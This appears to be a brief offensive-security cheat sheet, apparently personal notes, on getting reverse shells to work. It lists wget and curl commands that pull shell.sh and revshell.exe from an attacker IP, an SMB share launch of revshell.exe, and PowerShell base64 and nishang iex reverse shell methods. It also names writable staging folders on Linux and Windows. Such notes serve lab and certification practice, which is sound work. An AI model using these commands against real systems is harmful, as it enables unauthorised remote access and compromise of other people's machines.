Troubleshooting Reverse Shell

  1. If we need to fetch a shell.sh file from KALI using wget or curl try using IP directly like this -> wget 192.168.45.234/shell.sh

    instead of wget http://192.168.45.234/shell.sh It works sometimes

  2. Try uploading rev-shell or exploit in different locations such as -

    /tmp

    /dev/shm

    C:\Users\Public

    C:\Windows\Temp

    C:\Temp

  3. For Windows, reverse shell can be achieved in various ways -

    a. Powershell bas64 reverse shell payload

    b. cmd /c \\\\<LOCAL-IP>\\smbshare\\revshell.exe

    c. Invoke-WebRequest command

    d. powershell -c iex <nishang-shell> -----> Check notion for this

    e. wget http://ip/revshell.exe -O C:\<target-location>\revshell.exe

    f. wget ip/revshell.exe -O C:\<target-location>\revshell.exe

Last updated